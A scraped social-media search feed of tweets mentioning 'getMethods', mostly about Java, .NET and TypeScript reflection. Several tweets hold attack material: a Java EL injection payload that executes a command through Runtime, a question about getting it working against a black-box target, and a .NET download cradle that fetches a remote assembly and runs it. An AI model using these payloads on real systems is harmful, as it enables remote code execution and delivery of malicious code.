Filter
Exclude
Time range
-
Near
7 Jun 2023
Replying to @nihar_m
R u using spring native (the old experimental project that’s not supported for production) or the spring boot 3 aot support for GraalVM which is GA/well supported. If it’s the latter, then those things should work. Proxies/Reflection that Spring does should also work. But if you do something like Class.forName(“a.b.C”).getMethods() in a method, Spring be able to see that so you’ll need to use the Spring AOT component model to tell it. Here’s an in-depth look at aot in @springboot 3 youtu.be/TOfYlLjXufw

1
255
22 May 2023
Replying to @Wietze
This one’s easy, it sets the variable x to (.(gcm|sls "w-o") ((.(gcm|sls "d-ty") -as *ch -pas).FullName|sls "hsy"));$x.gettype().getmethods()[16].invoke($x, "Happy Monday") 😀
1
1
3
1,791
22 May 2023
PowerShell Obfuscation challenge to start the week: what does it do? $x=(.(gcm|sls "w-o") ((.(gcm|sls "d-ty") -as *ch -pas).FullName|sls "hsy"));$x.gettype().getmethods()[16].invoke($x, "Happy Monday") Answer in thread 👇
5
75
362
91,374
6 Nov 2022
Day 70 #100Daysofcode java from #telusko tostring(),string tokenizer,set,getmethods,moretokens.wordcount program Hadoop..big data #edureka
1
8
Replying to @intigriti
$\\A{‘’.getClass().forName(‘java.lang.Runtime’).getMethods()[6].invoke(null).exec(‘calc.exe’)}
1
2
Trying to get a black box Java EL injection to work, this works: $\\A{'a'.getClass().forName('java.lang.Runtime').getMethods()[6]} -> Apublic static java.lang.Runtime java.lang.Runtime.getRuntime()] But this does not, any idea why? (..).getMethods()[6].invoke(null).exec(cmd)
6
4
21
#Day39 #100DaysOfCode Reflection: Information about methods of class: getConstructors and getMethods, practice on task and reading book🤓
2
5
Spring Frameworkで、リフレクションのキャッシュ(Class#getMethodsの結果等)してくれる機能ありますか?
1
2
3
書いた→TypeScript: オブジェクトのメソッド一覧を取得する関数 getMethods() qiita.com/suin/items/b807769… #Qiita

6
Replying to @heinzkabutz
I understand why you want it to work that way, but that's just not what reflection is. You're coming with language-level expectations, but reflection is about _classfiles_. (As mentioned before, the few attempts to helpfully do more (eg getMethods) just muddy the waters.)
1
3
So then should we ever call getMethod()/getMethods()? If not, perhaps they should be deprecated? Seems we need to walk the hierarchy manually anyway and go through reflection acrobatics to find the truly public members?
1
2
You need to pay attention to two things (not mentioned in the references): typeof(System.Convert).GetMethods()[308] OpCodes.Callvirt -> Is used for calling a method of an instance
3
24 Jun 2018
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }

20 Jun 2018
You’ve heard of the PowerShell download cradle. How about a .NET assembly download cradle? gist.github.com/cobbr/1d4eb6…
1
2
[Microsoft.VisualBasic.Strings].GetMethods().Name #Powershell
1
1
hmm, maybe that has something to do with generics or inheritance. could you use GetMethods() and iterate through them to match parameters?
Replying to @adereth @leifwalsh
if you were thinking to yourself "I bet it's reflection"... You win! Crazy how much time goes to getMethods
1
1
22 Mar 2017
Nice: You can use Java reflection api in Frida to figure out more about your classes (getMethods, getFields...) @mathdroid @fridadotre
1
15
26
Javaのリフレクションが定義順を保証してないのはわかっていますとして…、(Macにて) getFields()は定義順だけど、getMethods()はランダムだなぁ。くぅ。
1
3